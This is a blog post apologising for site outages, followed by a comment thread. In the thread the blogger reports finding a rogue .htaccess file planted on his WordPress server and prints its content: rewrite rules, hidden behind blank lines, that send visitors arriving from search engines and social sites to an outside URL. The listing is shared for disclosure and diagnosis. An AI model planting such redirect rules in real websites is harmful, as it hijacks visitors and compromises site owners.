Sorry!

Sorry for some strange problems on this blog this evening. The blog is not appearing correctly, at least intermittently, and commenting is failing on at least some posts. It looks like a problem in WordPress or at my ISP. No time to investigate further now, so I will have to leave it now until the morning.

0 thoughts on “Sorry!

  1. No problem, Eileen, and thanks for trying to link to me. The problems with my blog and the sinking of the Titanic were disasters so different in scale to be incomparable, but maybe in both cases, in the words of your Thomas Hardy Plot Generator, “the President of the Immortals had his sport”.

  2. Not mine, one of Tommy H’s. An example of one of his scathing comments on orthodox Christianity, in Tess of the D’Urbervilles.

    Iconoclast isn’t “anonymous”. S/he is pseudonymous, which is a very different kind of thing.

    Link is now reinstated and appears to be behaving.

  3. Thank you, Eileen. Of course you would know all about being pseudonymous.

    There still seem to be some problems with the site, but not as serious as yesterday. I have disabled the CAPTCHA for now as one of the issues was with that.

  4. Hi Peter:

    The problem is not fixed. I tried to leave a comment on the post in question a moment ago and was not successful. When i clicked ‘post comment’ it tried to direct me to another URL and then said that the server could not be found.

  5. I think I have discovered and fixed the problem.

    In case anyone is interested in the details: There was a rogue .htaccess file in my WordPress main directory, on the server. This was dated 27th March and most likely found its way there on that date. This included some complex conditional redirects to doctors.net.au or similar, which caused further redirects. There should not be a .htaccess file in this directory. I deleted this file and the problem seemed to go away.

  6. For reference, this was the content of the rogue file (after a lot of blank lines presumably to hide this content):

    RewriteBase /

    RewriteEngine on

    RewriteCond %{HTTP_REFERER} .*google.* [OR]

    RewriteCond %{HTTP_REFERER} .*ask.* [OR]

    RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]

    RewriteCond %{HTTP_REFERER} .*baidu.* [OR]

    RewriteCond %{HTTP_REFERER} .*youtube.* [OR]

    RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]

    RewriteCond %{HTTP_REFERER} .*qq.* [OR]

    RewriteCond %{HTTP_REFERER} .*excite.* [OR]

    RewriteCond %{HTTP_REFERER} .*altavista.* [OR]

    RewriteCond %{HTTP_REFERER} .*msn.* [OR]

    RewriteCond %{HTTP_REFERER} .*netscape.* [OR]

    RewriteCond %{HTTP_REFERER} .*aol.* [OR]

    RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]

    RewriteCond %{HTTP_REFERER} .*goto.* [OR]

    RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]

    RewriteCond %{HTTP_REFERER} .*mamma.* [OR]

    RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]

    RewriteCond %{HTTP_REFERER} .*lycos.* [OR]

    RewriteCond %{HTTP_REFERER} .*search.* [OR]

    RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]

    RewriteCond %{HTTP_REFERER} .*bing.* [OR]

    RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]

    RewriteCond %{HTTP_REFERER} .*facebook.* [OR]

    RewriteCond %{HTTP_REFERER} .*twitter.* [OR]

    RewriteCond %{HTTP_REFERER} .*blog.* [OR]

    RewriteCond %{HTTP_REFERER} .*live.* [OR]

    RewriteCond %{HTTP_REFERER} .*myspace.* [OR]

    RewriteCond %{HTTP_REFERER} .*mail.* [OR]

    RewriteCond %{HTTP_REFERER} .*yandex.* [OR]

    RewriteCond %{HTTP_REFERER} .*rambler.* [OR]

    RewriteCond %{HTTP_REFERER} .*ya.* [OR]

    RewriteCond %{HTTP_REFERER} .*aport.* [OR]

    RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]

    RewriteCond %{HTTP_REFERER} .*flickr.*

    RewriteRule ^(.*)$ http://www.thedoctors.net.au/… {rest of link deleted} [R=301,L]

    http://www.thedoctors.net.au seems to be a legitimate site, for Australian doctors, but maybe it has been hacked so that this subpage causes redirects. Presumably the affected posts were ones which had one of the above strings, like “ask”, in their URL.

  7. Good point, Phil. The code itself is harmless – it just traps all outgoing links from certain popular sites. It is only harmful if it gets copied into anyone’s website, which can only be done by a hacker or a rogue application. The link may be harmful, so I will edit that out.

Leave a Reply

Your email address will not be published. Required fields are marked *

*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Anti-spam image